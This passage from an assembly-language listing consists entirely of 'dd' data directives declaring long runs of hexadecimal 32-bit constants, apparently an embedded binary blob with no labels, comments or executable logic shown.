0FBF15E1Ah, 0F6BBD0D8h, 10098A7h, 0A57B95EFh dd 354E11h, 0AC4B1B6Fh, 19A7F360h, 0A22BF801h, 0EBFA0133h dd 0F5ED3180h, 1303D635h, 27A07100h, 0CF33FBFCh, 0CE9401B0h dd 0D1C93E72h, 0D28400DDh, 38E770Dh, 0A1D806C1h, 0EF8305F9h dd 0D81C76C3h, 618EE85Eh, 0D926272Bh, 107EB810h, 0BFFD00DEh dd 4DE75666h, 600C04Fh, 0F016B71Fh, 1D52745h, 953D4219h dd 60DAB1EAh, 0F46F0E23h, 0C0781B8h, 50BCBCF0h, 8B338400h dd 0F970E9E8h, 95D0CB00h, 0D8D32875h, 8680BF0Fh, 1311A3DBh dd 0ED7A448h, 2632F47Ch, 6F9EC7Eh, 60492358h, 5E0010C1h dd 0BD872169h, 485ACFB4h, 3500DA7Eh, 2CA08BF6h, 7D001E36h dd 0FB2408ACh, 0AAEC34h, 0C0056C3Bh, 0E39E44E6h, 2E207600h dd 0A3342CDh, 7A7EBFh, 215018DEh, 2264A872h, 1630F507h dd 8E691D9Bh, 71ACC079h, 0AECFDBh, 1E2C069Ah, 182719B0h dd 0F20720F0h, 2821606Ch, 0EB8F3080h, 3CEF0107h, 8C6D14E1h dd 20CBD0E2h, 80B220CFh, 2E2221EAh, 59410011h, 0C6BAAC5Fh dd 89C92DCDh, 0D7C80628h, 0F025F060h, 0D4663E2Eh, 39701E32h dd 8E8C230h, 0E3C4EFBCh, 60217166h, 1D677007h, 0C61B1140h dd 0ED48CEFEh, 2660E6C6h, 7C4170h, 0A3922FCAh, 0BB009F8Bh dd 0FEF3FB6Bh, 18493EBh, 0C0AF9A53h, 0ECF70949h, 550D2C6h dd 630FF584h, 3FC5F9F8h, 84F315C1h, 228045B6h, 1DE35510h dd 41005A9Dh, 0DC6DDD26h, 0E085E9h, 3F0DECABh, 0FC5B3835h dd 84FEB160h, 0F40B852h, 9B6D6F94h, 0CDE0C14Eh, 0CBFC0F43h dd 97C2D71Fh, 3CB86800h, 39BF28B5h, 86803D8Eh, 0F022253Ah dd 82001571h, 0F7ACDC58h, 0C04960h, 6B32F34Ch, 61149C3Ch dd 0F900A979h, 0ECDF435Eh, 0B45753h, 70F458D9h, 299EAC44h dd 0F729B24h, 5481DF00h, 0F81099h, 0CF355DBAh, 50EB359h dd 1EFBA65Ch, 2C002553h, 0D66366DDh, 0DA86033Ah, 615211CDh dd 0EC21FCF8h, 59546B0Fh, 9E354027h, 3BDC9409h, 90F6E9C1h dd 30337AD2h, 13204D77h, 3D1C90FDh, 8BC0A4A5h, 0F2B0D423h dd 0D29A1C5Dh, 884247BCh, 54BEE0F0h, 9B0B8BFCh, 80A53551h dd 26FE0719h, 90E9002Dh, 9AFC52BCh, 0E1B22F5h, 2C607559h dd 14B0B20h, 0F2FC5571h, 566DD8A9h, 0C153751Dh, 491923D8h dd 5A9A20FEh, 6E7D1110h, 0BFF1D060h, 10C750FDh, 0E1D00DAEh dd 0E8A3540h, 4899933Bh, 1FDC0036h, 74803294h, 0E4524100h dd 47CC02A2h, 7ED5008Ah, 7BFCB884h, 0B60182C9h, 0F8AF4FA6h dd 3BE85225h, 9D850005h, 12EA4936h, 41C13744h, 0E9DB4C1Bh dd 14BD19C5h, 213509E6h, 0DBD5BB00h, 42B3CA97h, 0E6E51F7Ah dd 4965C0A1h, 8C456330h, 7DB58C0h, 7B0158h, 0E42D201Fh dd 653459EEh, 0C0FB49C0h, 1EC85358h, 15AF3h, 0F921F87Eh dd 64E00E16h, 0FF5E691Dh, 30A3110Ch, 1723EAA8h, 33A079h dd 3E59E55Ah, 70D6EC14h, 0C0160712h, 9E1FB71Fh, 0D2189758h dd 10821F9Ah, 38230042h, 0D9DD4787h, 28EBE731h, 2510F806h dd 3EC03475h, 146761D5h, 9EC20307h, 0B46F79DCh, 32DEC0BCh dd 0F04874E2h, 50C0018Fh, 0D5E63122h, 382CECh, 8F0ABEFEh dd 0A3A1B191h, 14FE000h, 0E5C2E340h, 0C0590E98h, 95600E77h dd 0FACCCAE1h, 7F35A40Eh, 0E3EBE0D6h, 369D489h, 0F285900Ch dd 0B0B8091Bh, 0F10F9DCBh, 0E3620B3Ch, 0C0F9A056h, 842BB4h dd 133FFFA2h, 0F2EB725Dh, 14F88600h, 76B010A7h, 986800D7h dd 0C428F4B4h, 95138FACh, 7000F3B3h, 0BE4475B5h, 861B1C3Bh dd 9813C0F9h, 8562E657h, 4D71BA00h, 0F5890A6h, 2E5600C8h dd 602A0122h, 160362C9h, 0DD25B6F5h, 5A69F06Ah, 861D00CDh dd 0F7FBA998h, 41009392h, 0E368F54Dh, 0F049EFh, 8977FDCCh dd 59E904EDh, 5D3B4C0Fh, 8B84022h, 193C783h, 54CC0E2Ch dd 0C8E575A9h, 76002BD8h, 47BCC25Ah, 0C848AAh, 0C9123F43h dd 0EA88D151h, 5A6E700h, 9E134FFDh, 2883001Dh, 65BA8062h dd 9000F8D1h, 0E03F9746h, 3CC33FCh, 0CC4AEC0h, 87D12903h dd 837BE0D8h, 399923Ah, 8EDB9B25h, 88BC508Bh, 0DA2100D7h dd 55A05248h, 4900B751h, 7F01DEA7h, 2F60BAh, 87405843h dd 0D4D81219h, 0D2501424h, 0E9CD9C00h, 4F6D5Fh, 0FDE16421h dd 42F34A70h, 0F452490Eh, 86CBA01Dh, 1FD30E23h, 98FC2022h dd 0CDB8C60Ch, 405FD9E7h, 6696C2C8h, 2D9DA400h, 524A7102h dd 3F9A06EEh, 107B6583h, 68C7700h, 0A7CDABA2h, 0C4E20C5Dh dd 564066CBh, 4A6CAE00h, 208D76EFh, 60F500B6h, 0D67086Bh dd 2EEA28C8h, 19DE6801h, 64C47825h, 583FF4h, 0B3358A5Fh dd 12ED27CDh, 0C2C10200h, 7DE0AD3Dh, 36041D9Bh, 0FF2A40C7h dd 30FBB05Eh, 23A7A000h, 0C2014714h, 4CC40CDBh, 0DD88880Ah dd 34586C60h, 0F463966h, 4977552Dh, 0F417160h, 0B1005754h dd 597DEE4Dh, 7D1DAE3h, 8812304Fh, 0CDA35141h, 4D773009h dd 0F3C42200h, 1378EA2Ah, 0EC0D0032h, 73E5051Bh, 0E300A8B0h dd 52426A4Fh, 12DDE10Ah, 989CBCh, 4A209955h, 30550E4h dd 3F3EC3FDh, 40AC945Ch, 0C07DD20Eh, 0C6FC5177h, 817BE5h dd 11BCC872h, 521775DAh, 4FAF8500h, 337B79F2h, 647D27h dd 5FFAC13Ch, 0AA54F68Ch, 0E7115B00h, 0FC7FC03Ah, 0CF020FBCh dd 0D000C13h, 4E41CC97h, 436A7D00h, 869DD788h, 49A00065h dd 573FC8A8h, 903D2EAh, 72BD9882h, 2A6EF06Fh, 697692h dd 8EBA3F17h, 254295E8h, 9B0306EEh, 57B97F86h, 44D01F30h dd 6DBB0068h, 25A0CA02h, 0EA733C00h, 87E83394h, 0E3410127h dd 2BF162E1h, 0CA53DCE9h, 79653Ch, 0C6FAA52Ah, 1F40EC87h dd 0C0950113h, 4B6C3D1Ch, 0B072868Bh, 33B5F200h, 15C0BEEAh dd 0DB8703CAh, 5F671BCDh, 0D8E62000h, 5443688Ah, 0EC52480Ch dd 448C1100h, 0D24E3EEAh, 0AA78200h, 35252B46h, 100E01D6h dd 0D36AC639h, 0BC2EECCCh, 3CB6DD07h, 5AC6474Dh, 9550058h dd 28A13B50h, 0A4A14405h, 0F8A5D164h, 32005E27h, 51ED927Ch dd 0E9542Ah, 0F2E75848h, 700CB555h, 6D0099EAh, 0D969E831h dd 0CA9A3E4Ch, 3C9C6EA0h dd 0E4037800h, 0B6C5C9B3h, 2A73AF00h, 0CF237711h, 80C40037h dd 0E63913AEh, 0B4ECBEB0h, 6D00D1F6h, 1B93283Fh, 0B24585h dd 0B88B3E98h, 6908BB0Bh, 0F8970500h, 0BA3626EDh, 1495F8B3h dd 0D8597B61h, 72B1DD0Fh, 341BE140h, 8D010546h, 54EB745Bh dd 1080208Bh, 87F25AD4h, 50043CF5h, 2704FE19h, 0A38000C7h dd 42F9DBCh, 0C46A388Fh, 9234C3C6h, 31FB5788h, 8CCE1603h dd 5A7C22h, 3BD68970h, 246369E1h, 0A55BEF00h, 1525738Dh dd 60B331E2h, 0CC4B8858h, 0A7FE7C3h, 8EEF0B07h, 5190372Ch dd 0EE4CA44Dh, 0A86B006Eh, 0EB58625Dh, 667BA04Bh, 477EEF18h dd 221610h, 0FC9894Dh, 5E17B05Dh, 106B7C00h, 0BE758C3Fh dd 0F4953EACh, 3BBD03F2h, 0B826AB6Ah, 660DE097h, 71FC8E4Fh dd 3783E500h, 76F5D6E7h, 0E0E254h, 31B78FE1h, 13F44C8Bh dd 3806204Ch, 2E8A80BAh, 3BD53516h, 0B70E24EAh, 0ED5D00A7h dd 0C3C5F1A7h, 2993D807h, 80408503h, 0D99D5Fh, 0AEB5E2B6h dd 810A0CB7h, 0F56E6200h, 0A96621A8h, 5874125Ah, 17EC005Eh dd 0D65F4751h, 0B42E5D00h, 0C841AD33h, 0B9C50479h, 0C0E4F260h dd 0D3779E60h, 93690300h, 35995472h, 44010034h, 7D64AEB7h dd 41074C43h, 1011FD13h, 0C3C14A90h, 6A0F00A7h, 0E8E97DDFh dd 0A6760CDDh, 19D40200h, 4D5BBAF4h, 0CE3D00E3h, 2AF069B8h dd 9C001D68h, 0D9891F9h, 0F0BEE36h, 77CCE406h, 12A6F120h dd 8A1EDF86h, 6BC02EC4h, 228E2BDEh, 80714C35h, 0F7073000h dd 856528C5h, 0E7121A01h, 53F11841h, 26394F0h, 0BD9B0386h dd 0C8E0E5C7h, 79F851CBh, 70C6F426h, 50C4C89h, 5DC06878h dd 8C7BDBh, 0F3A551CDh, 71594291h, 0B786C200h, 0DA048485h dd 89A430D8h, 9AA20881h, 0D24E002h, 0B40A6745h, 8096010h dd 2F520A17h, 0E464A726h, 63ADF84h, 2D3184D0h, 0B77E00DCh dd 58998C55h, 0A53B80F0h, 145BC02h, 133E5231h, 0AE44E69h dd 3F9B09A7h, 0CC0F272Ah, 0FBFCC703h, 269D66E8h, 9BCF050Dh dd 78D46877h, 387D29h, 0FAAEF1B6h, 0D8C00A69h, 585EA228h dd 49CE039h, 0DF450BF4h, 3B85B268h, 1B618A81h, 0F4FFDBA9h dd 330128C3h, 0E04B8164h, 0F2C831CCh, 96E45Dh, 0A32C8AF1h dd 7BDA867Ch, 23C57000h, 2BC6545Ch, 0B06C13CFh, 80970BD8h dd 0B5A88B00h, 4CFC2C79h, 1400BC74h, 0E3CDD9D3h, 4C04AF81h dd 3300895Bh, 5079CE3Fh, 0B00A3C2h, 1FADD42h, 7C2FF1C6h dd 0A90F24D3h, 67320212h, 9D80771Eh, 0A555F3BFh, 91764026h dd 0A3A95F03h, 9554D070h, 87D3033Ah, 0AECABBC3h, 0FB8D5A98h dd 60002E79h, 2BD94915h, 1F294F3Bh, 0C0203EBCh, 26A27570h dd 88289168h, 2A009883h, 0A7ABD285h, 0E33934h, 4EFFC27Ah dd 0BCB94780h, 0CD3DDF05h, 0B040AD1Dh, 195CA234h, 0FB701706h dd 69BF00B7h, 3886D73Eh, 899C180Eh, 0A8A4E2B8h, 0EDFC802Bh dd 178A9ABh, 8AC7CC85h, 0F24DA294h, 0B2324E00h, 0A70D0084h dd 0C9633B2Ch, 1A00518Bh, 0F9E813B9h, 0C11ECEB7h, 0F271D388h dd 25B9948Ah, 57B000A6h, 5FD46B24h, 0BF230030h, 0D2D10538h dd 550990E9h, 2356074Dh, 0BB6A20h, 15DC8508h, 26897164h dd 8004C63Eh, 34BF4472h, 171BCE69h, 1D3732Fh, 0F18AE7A9h dd 7239BAB9h, 0AEB1100h, 8987E1BDh, 4BE2000Fh, 88059C50h dd 0A50322E7h, 7CB89EDFh, 20C8DD06h, 59BB184Dh, 0DD2448B5h dd 0F716760Ch, 0FA0109Fh, 8E170AD7h, 0E1811EC6h, 4014AD00h dd 94CEDA71h, 469607A4h, 30EBED01h, 84F2F19Bh, 529DA900h dd 6860351Ah, 39AE00CBh, 360B3BE5h, 0F30097A8h, 58A29CA6h dd 0C1655Fh, 2285D1F5h, 381209D4h, 4DE808FCh, 0FA20E960h dd 0C0D171h, 16CE8089h, 0DB938F1Bh, 14F6B700h, 0BB18F32Dh dd 6C7207A7h, 0C7B6A953h, 58B9106Fh, 88071239h, 0A165BE3Bh dd 61E9BF80h, 0CFB503D0h, 0E6E04E24h, 3B2A0818h, 0ABA020h dd 7D30F376h, 6AB10DFDh, 0EB95C81Eh, 14BF3200h, 12FC6E6h dd 0EA230FD2h, 80A1A7BAh, 0A373DEC9h, 0CF6BE3Ch, 154335E6h dd 0C91B2A98h, 23B0DABFh, 83028A90h, 0E2A7EE78h, 294824DEh dd 788C5640h, 0AE00071Eh, 99A4A0ABh, 2D159C6h, 14BE4A67h dd 0C4C1B9C4h, 85898032h, 0E0F79872h, 75AE7228h, 60AD76B2h dd 84702113h, 0CE035598h, 0C3BE9307h, 0AFD1B8B9h, 1559007Eh dd 2335C4F7h, 0EA001D0Ah, 543A8CE3h, 7D31699Dh, 927B0014h dd 47087421h, 500075DEh, 9E5EA851h, 0B0AAF3h, 92AD28B9h dd 0D0D6FECCh, 0BDD9E0FFh, 599A6E00h, 9FEF90ACh, 567C4829h dd 4400F438h, 12D0B3B4h, 0D50CF3D3h, 68C8D8A2h, 0AD850031h dd 15CC1D78h, 7D309342h, 5A46187Ch, 969D0FECh, 0A0EF363Ah dd 0BCFD4F64h, 0B71107C1h, 61872EDDh, 6EFE6680h, 0DB80038h dd 3F308CACh, 2906C555h, 0AEBA5AE9h, 93640098h, 36C37C1Fh dd 81DECFF8h, 420E62DDh, 8B268089h, 392E8FBEh, 0C900E9FBh dd 63E56AEEh, 1042235h, 2CC5C803h, 0CF9EAC80h, 4F5E003Eh dd 0D68AADF0h, 0DE030B53h, 0D9210EDh, 0D9C4DB86h, 56F015CBh dd 8AD43ED0h, 3C06A403h, 1800CDEAh, 0BA6C206Eh, 9D3212Dh dd 7AB88B97h, 8CB02100h, 10C0315Bh, 94174C80h, 90600FDFh dd 0EA80FBB9h, 2A74BE9Bh, 2EF19500h, 1478AECh, 577A00BAh dd 0F2E89D62h, 543D0669h, 8881874Ah, 81E9D452h, 0AEB21939h dd 0AFAAC8h, 506626F6h, 4AEB2F2Dh, 0E741DE17h, 54EA0200h dd 0B91B81Dh, 898D985Ah, 3178C900h, 5139FFC1h, 0E85E0475h dd 9880D218h, 6EF264Ch, 2177D637h, 0CE1F18A5h, 0CD0746CCh dd 2DE79D40h, 0E86E7DC3h, 49BB99h, 0E8EC0C78h, 8CBDFE09h dd 5D019400h, 9126F87Ch, 311D00BCh, 0B27E98DBh, 5524D017h dd 833F92D5h, 20A2C332h, 2D180010h, 289C63B2h, 6DF4FB3Bh dd 0E616BB00h, 271D6053h, 66B706B5h, 0A8E29D96h, 0C9809400h dd 16BC319Eh, 0BB6501A2h, 7AD2C77Fh, 0B63DE8A7h, 4E3ED600h dd 0FA503F8h, 0E93F00B3h, 8F44B53Ah, 0AC1D22BEh, 0FA80ADBCh dd 18B76F8Dh, 7AF300DEh, 7F58310Fh, 7400FB69h, 0B82C61FEh dd 5390AFh, 85FD3F98h, 5F22366Ah, 0FA484500h, 14C7B9BDh dd 1C16B087h, 0C14C8332h, 0C225CE7Fh, 57B9C489h, 0E30013ECh dd 0EB6DC8DEh, 1B5E88EFh, 51F664CFh, 989E1B80h, 0AAA09A00h dd 0B6B75D2Bh, 70690009h, 1472FFB8h, 4100976Ch, 24658CE1h dd 0C60ADD2h, 0D981FEA9h, 0F400D168h, 0FAE2E3F8h, 166A21DFh dd 0BA1254Bh, 0A680F61Dh, 0A8E6CBE1h, 0B1CF4200h, 0A0ED90CAh dd 67E6F9h, 3D6E39B4h, 6D295657h, 820AF800h, 9CE494EAh dd 0CC96004Eh, 727AD70Dh, 85008F3Ah, 75C4428Bh, 0C84F79h dd 7AA3671h, 0E6BF1FB1h, 7B0D60C3h, 0A20800A3h, 0CE4C2A3Ah dd 0C100863Ch, 8C93BC10h, 313DC0A0h, 9B3107ABh, 0B66BF868h dd 2BE1030Ch, 0BF794Dh, 0BBEA51A3h, 5CD95668h, 23CA9F00h dd 0D48895FCh, 0DFF300C1h, 8C03B925h, 51C0059Dh, 95CB4E51h dd 0ABE7003Eh, 0BF520B56h, 2F07D3EFh, 249B2D5Bh, 315FA510h dd 0E9F0001Eh, 51E07384h, 440077CFh, 8C64F142h, 189A09h dd 339F067Fh, 0A0CEC1B2h, 5CE96A1Dh, 0E1C00B98h, 0F8243DD5h dd 0C9C4670Eh, 98182600h, 0B6601FB4h, 0FD2D5D90h, 0BF7E005Fh dd 291053E2h, 1006CABh, 1269D5CBh, 18B152Fh, 0D6028F6Fh dd 0F8DBECC6h, 43002E23h, 38C8955Fh, 18C3150Ah, 584B4D87h dd 6B0F511Fh, 80080FB0h dd 4F69C971h, 60DC00A1h, 0EE4675C6h, 6CEC833Ah, 0F240ED03h dd 0A05B6EC5h, 0B841E47Eh, 0FE27FA4h, 7599D48Dh, 3381850Fh dd 0F0DF5BF3h, 4C07F1F0h, 0F41B269Ch, 20026230h, 0C7EF671h dd 4A8F07B6h, 101CA058h, 8E000F72h, 0E611B442h, 0C2071A9h dd 0B92FC4A8h, 8C004940h, 185BD7F7h, 0EE19CFAAh, 0DC900143h dd 68F4C60Bh, 0D183DC93h, 2EF82300h, 4D0DE176h, 4F650CB5h dd 41A05F84h, 0D324DB00h, 484740BEh, 49990C0Ah, 67B0E488h dd 96A15760h, 60B59721h, 720718CAh, 0EFE03420h, 0D5EEC202h dd 8017C5B8h, 0E7E44580h, 16CB06FCh, 405024FFh, 12358700h dd 983D4958h, 0B33B00D6h, 40D993EBh, 2A01524Ah, 0F1BA8CE0h dd 0C13FFA7Bh, 0F44768DFh, 0C051789h, 0AA06CDA6h, 3910B013h dd 948A8424h, 512F5B03h, 0A39618F0h, 0C804842Ah, 0ED52F818h dd 3F7FAB8h, 0A0D7DE75h, 4DD8E636h, 1D003055h, 0D4F3BB20h dd 655D29C2h, 803C38D6h, 0C56D3A1h, 0B4709803h, 5C15ECh dd 0BC4324AEh, 26DA2E45h, 0EE480707h, 687CD777h, 0C53D007Eh dd 4F8D9689h, 0BDFC06F3h, 2F1D4601h, 0A7D74CA5h, 9F001C22h dd 268A9812h, 0B7ABC17h, 0D2568400h, 0D0F015C6h, 850A15AEh dd 0A05FC43Ch, 560025B4h, 0FC5017FDh, 1850CC5h, 4402BC87h dd 202D8F88h, 4803D810h, 9CB0BD5Fh, 669490E3h, 0A8FB00D4h dd 0B7E4F9CDh, 8439970Eh, 0EAC39832h, 603BC5B8h, 0D829995Ah dd 72076F4Dh, 89CF911h, 0C4386570h, 85F2302Eh, 2440F5B0h dd 686B9E24h, 0FF3CA030h, 0CDE2069Ch, 0D925DDB2h, 0BCEA4600h dd 0D89D695Fh, 80423C7Ah, 0DA82C30h, 41651E3Fh, 30C5C5E0h dd 0D0032452h, 0C1517228h, 2424256Ch, 7DEF005Bh, 0E21C2178h dd 0BE031FCAh, 0D35A0CDFh, 0DE589016h, 0CF5C03D4h, 0EE72F7A3h dd 8C23D807h, 2E107AB5h, 433A1Ch, 0BDB64DDCh, 0F28DA927h dd 5FCB7800h, 9D349308h, 0FF600DBh, 20656398h, 14005BCAh dd 1F90AD25h, 0E8F946Eh, 63972E22h, 0B7CAF8A0h, 45000806h dd 0D4958D52h, 0AF11C7h, 3A4E8BD9h, 8AEFF292h, 2DF0E400h dd 20290D09h, 378D03DFh, 0BD97399Eh, 9D792490h, 0C8EAC628h dd 0A4EFC701h, 0F482AD56h, 0A1C74A21h, 2080CD70h, 3DEF7F31h dd 0DF09FFBAh, 98AC12h, 77D3EB0Ah, 6B23303Bh, 0A3466328h dd 737CAF07h, 0DDE0E0F2h, 30AB15B5h, 0C5203A4Ch, 0BDA36EEAh dd 0EB8D3000h, 142BF750h, 40E900ABh, 0F0E54E33h, 20000BC8h dd 0CD10BF63h, 0B94F77h, 0FC6785EBh, 5902FBB6h, 9997A100h dd 0AE77834h, 14F0C284h, 0A5806DD1h, 0DE3AD7C8h, 0C9894E03h dd 0D0C244E1h, 7DA7DDB4h, 0C63E3F80h, 0BB0A2001h, 0D05F743Ch dd 0BE00A366h, 17BFBB5h, 0E30D79h, 0C69F6E34h, 5C967D67h dd 0F00310F0h, 55C5428Ah, 92AA8012h, 51D800CEh, 322D35C3h dd 6A176314h, 0DF00861Fh, 0C488EC07h, 0A12A0022h, 70A7290Ah dd 4400A3BBh, 0FF0B722Dh, 72576ED2h, 0E54C0075h, 0BEA9AC3Dh dd 10E4D04h, 272E373h, 0E0157530h, 5D0E5Dh, 6B249028h dd 4AF8A7F2h, 0FC5E1B00h, 0ECD531C4h, 0F740008h, 3EA40BBBh dd 500EB26Fh, 2EEFB33Ah, 9475A034h, 5C736988h, 4100EFFCh dd 592A20C0h, 783DAC7Ah, 7FED8065h, 975D0FA0h, 0D9E891h dd 0B150E180h, 0B4D5BD30h, 686C9A00h, 4CD2B50Dh, 0E5AF0F29h dd 8AA732B3h, 6F889050h, 0D04F03Bh, 999D027Ch, 944380FBh dd 3C0086E5h, 0D32B1223h, 60B483C9h, 0EEF578A9h, 9E0046B1h dd 1BAFED92h, 3F25BDDAh, 4D014B16h, 5AF6E7DCh, 70C0F272h dd 0E800CE32h, 62A36471h, 1FF4B673h, 6E671Ch, 0BFAFB1A4h dd 0A8001B89h, 7F6576FDh, 8F7059h, 3B3DF61Eh, 0B3796781h dd 0BDA5E30Eh, 0FBD7A02Ah, 6466D1h, 49E7DBDEh, 7703C68h dd 0D05C0800h, 0D1E28469h, 0C12F006Ah, 4520D5E9h, 7265BE0h dd 0F4008FFEh, 6DAFFDE4h, 53A70048h, 8D79CAAh, 0F01EB912h dd 0DACE1D47h, 0F8B4C0F9h, 0EE35477h, 7A61F785h, 5F60D6A0h dd 7C00192Ch, 0D755261Dh, 3A4D5963h, 698067EEh, 5F8661F3h dd 8907B911h, 436C9806h, 607B91A2h, 1FA8E856h, 0CEB86765h dd 9EC0BC3Fh, 183E46B4h, 0F5F2EB03h, 0BB10EAh, 0F06C3770h dd 0E2CD7B0Fh, 75008572h, 4A8778B5h, 0CEE8C6h, 80169734h dd 0A254702h, 633B48h, 925DBD75h, 0FCD3B1h, 3274C8E0h dd 8D2789Fh, 0F11B6B00h, 0AC5DC63h, 0BFEF38E5h, 0AB624480h dd 68E7AEE3h, 0A9399600h, 5C379D84h, 7ED800F7h, 32D542BCh dd 4BF01418h, 0E09C8F00h, 0A6B9DFB8h, 7F6700ACh, 95A175AEh dd 0B00B02Ah, 0EECDEC71h, 3B3831CBh, 5402B8B1h, 0FF5A4B8Fh dd 0C2B7C0A0h, 931FA603h, 1487F946h, 6380A494h, 97B691h dd 3AE3EE58h, 0A87CA267h, 54DB41Eh, 49EB55C1h, 87C061CCh dd 782F24EEh, 0EB52460h, 7F6190E0h, 20FB9865h, 8600E754h dd 523E4C8Eh, 60627057h, 87D6E819h, 0D51CC975h, 3280DCBDh dd 0B3C160A2h, 45E9006Ah, 28A54315h, 2C03761Fh, 0B21089FEh dd 5087A886h, 683D09D1h, 0EF807F73h, 0D37D618h, 24D5AC26h dd 7D594F00h, 7DC51DDEh, 3C0F00C6h, 9765304Eh, 0FB010225h dd 0F35B27AEh, 0E0CA1F88h, 0E2853B47h, 604D02A0h, 0EE591B94h dd 3AD57FC0h, 1CE2B000h, 3599A173h, 0E88E1F01h, 0D8B380C4h dd 0CDCFD972h, 21035300h, 345BA03Ch, 0B941267Bh, 19630EEh dd 0A200149Bh, 0F9235249h, 16D12E0h, 530ED8AAh, 0D0DA334Eh dd 7B3F6432h, 0FBDD0029h, 84876509h, 0B57E0EA6h, 7D60F66Dh dd 29A83FDh, 0DA6F6803h, 0E88CEADCh, 45128A9h, 0EFE9CFA8h dd 0C4F88031h, 5801B8E7h, 271189C6h, 0B97075B7h, 1D1000CBh dd 7F435BE3h, 9002E82h, 0F34C2795h, 0E24E9FB1h, 997B005Ah dd 0E3B5892Ah, 0AC0720E1h, 9C82D7C4h, 10AFF5A0h, 0A63509A0h dd 3780D591h, 0ECB15986h, 4BDFA800h, 77F114ACh, 8889001Ah dd 0A3247284h, 6D481707h, 16300A10h, 6800ACD6h, 0BE83EFA2h dd 152F003Dh, 0E748AF7Eh, 0DD493B6Dh, 1CE6262Ch, 15E1F50h dd 845C4B67h, 20C8CB2Ah, 9E006B30h, 0CDA728FFh, 35DCEDh dd 496EB1B8h, 0E5D23F64h, 84004890h, 3D3C7AC7h, 1EF3C352h dd 45B8C9A8h, 0C0E83653h, 6D8261E2h, 0A4AB862Ah, 0B1005FE6h dd 0A993BB65h, 0A079DB72h, 1690684h, 0C37E5588h, 80E317EBh dd 31FE5460h, 4E8FEFh, 50699DFAh, 15F93990h, 0ADF2A500h dd 0A83D27A1h, 76CC741Fh, 922B1D77h, 0D65D4359h, 9AC03650h dd 11008451h, 0AC581B34h, 0EBB21Eh, 0A20783A5h, 46ADE288h dd 9FDE4A3Eh, 4700178Dh, 95A4133h, 0F5180087h, 0F689906Eh dd 0C0071A19h, 0C7D7D2F9h, 7D5FD900h, 0D41D00E2h, 2DE06070h dd 0B930CD58h, 644F20D6h, 5170083h, 21560A2Eh, 311F5078h dd 0AF40301Dh, 0D197E9F6h, 78C0B7C3h, 0A72C19FAh, 0B600EC9Bh dd 96F2E3FDh, 1503399Eh, 0ECF86100h, 0D33A7BB5h, 0F92CD40Ah dd 0ED00AC6Ah, 64820644h, 2751007Ah, 0BFC0EA4Dh, 9700AD3Bh dd 0E56C8F39h, 0FA3D58h, 95E6012Bh, 0E4E29A0Ch, 2F0046F4h dd 0CD827703h, 0D8B64Fh, 2187612Ah, 0D7B5CEA6h, 67001FF2h dd 92EC8F23h, 0F999A3h, 3F561E11h, 96E05B63h, 80E8B43Ah dd 0B11684E6h, 90B9DA8h, 31C5C003h, 8D11DB00h, 1B0B1355h dd 81CED4ADh, 2C2D8024h, 0FA44E3D4h, 0FEAA0054h, 9A7AD39Bh dd 507723C3h, 3DBFE700h, 0E1084567h, 0ACE401B9h, 282A3B4Bh dd 0D126F8A3h, 4538BA00h dd 346F650Dh, 53E80751h, 71C2D81Ah, 0ECF7C3F0h, 0D10712D9h dd 91CC0E7Ah, 5429AC50h, 0F9A50084h, 5EDFF370h, 0EFED8815h dd 0D099B8E0h, 6A015B7Dh, 23B21325h, 623271h, 0B0E12E7Eh dd 89B38028h, 0E91CA88Eh, 0F73B130Fh, 9BCE20BAh, 3F983F39h dd 46805CB7h, 0FBEA223Ch, 4C001DDAh, 0FE9D6E14h, 0E43139B9h dd 498514BFh, 9500E861h, 10D40420h, 0A5001C1Eh, 5CF13B8Ah dd 0B566579h, 95D15428h, 2ABBC882h, 3F03E860h, 27000A77h dd 38355DFFh, 0CD80C7h, 0F8C06EADh, 0C4FDEAE3h, 806A4E3Bh dd 1F1B7EB9h, 0E07CF0Eh, 0A3D9C665h, 0DCC39D00h, 3F59AD43h dd 41600004h, 35C5846Bh, 0F0AB602Dh, 801EDA5Eh, 0EEDCD000h dd 932315CEh, 19740033h, 2B867F0Fh, 6F02AA76h, 0BFFB17D2h dd 80DDE0BDh, 59CE00FAh, 0AD0B9E8Bh, 0A000AABBh, 0C1CC8957h dd 27FFEDEh, 9F2AE803h, 8660FB95h, 83073678h, 0A2C48BAAh dd 92AEDFD1h, 3E7695ECh, 4401ACF9h, 6FA807ECh, 3CD7E4B6h dd 0DA037B00h, 17B9C2D3h, 0E7B300D9h, 895760Ch, 21003970h dd 243E1683h, 0EA8859D8h, 92500BDCh, 7EE0D263h, 6000FD3h dd 0FAFE99D1h, 3FED6713h, 0E9002FA1h, 0E7A023F7h, 0D81EC4A2h dd 73833387h, 72708h, 20FA2B16h, 8C53C19Ch, 0A1880400h dd 0C5E6037Dh, 0EFB5305Fh, 0DD6F8AE0h, 8C1DD100h, 525B0A7Fh dd 0BCF05Ch, 0B00F85AAh, 0BB05DBF2h, 9B8B5500h, 0F620B8EAh dd 1675A1h, 0C0847F5Bh, 92221EF0h, 8E45B33Bh, 60ED70FFh dd 0A2445DE0h, 3600F01h, 0B2E0584Eh, 15CCBDE1h, 220ED00h dd 88873DCDh, 4A4F0079h, 29BA54B3h, 0F93E9683h, 0DD4B8069h dd 0CBB91A33h, 0EA250FEBh, 0F9FE13A8h, 474D9Ch, 0C98880DFh dd 6D00C384h, 595A3E2Dh, 8D2C43h, 5FB674BDh, 0B455837Bh dd 0F3BB6400h, 0FC5BA79Bh, 48997280h, 0F9060454h, 79840B51h dd 0C5C2D207h, 0E850CCB5h, 938273h, 0F8C19FBFh, 0C6883CF4h dd 4D6DCD1Eh, 0B1127580h, 549861h, 17B6F774h, 0FBB83EC9h dd 8DED0607h, 6DC3137Ch, 5DADD073h, 0C9DB00ABh, 56B3A6DEh dd 9E3CB9DAh, 55E98047h, 452AC3F2h, 90E800F6h, 0A9DCCFAAh dd 0E074EEF8h, 29AF8203h, 0B507BF91h, 5C02F844h, 0C56C0AEh dd 0AE001192h, 0FB0DE5F8h, 7C5085h, 9EC0B081h, 0D99755CCh dd 20577E00h, 0D480E456h, 6AC30371h, 473AC2A6h, 0CCD203F0h dd 80DAD33Eh, 7F8AA754h, 346E7C0h, 1AFA13B8h, 0F1B8D870h dd 8505C7FFh, 893722C8h, 83D5C000h, 5CE8A4A0h, 7D0033E9h dd 0B7016085h, 0FF000B45h, 76C04CC5h, 4D8ECDh, 51C1E1E0h dd 0BDAD8C0Eh, 0DC4A6424h, 4543A482h, 7B404893h, 657658EBh dd 0AC850839h, 1835FE2h, 6E82BA84h, 0F874F9BDh, 0C8183D60h dd 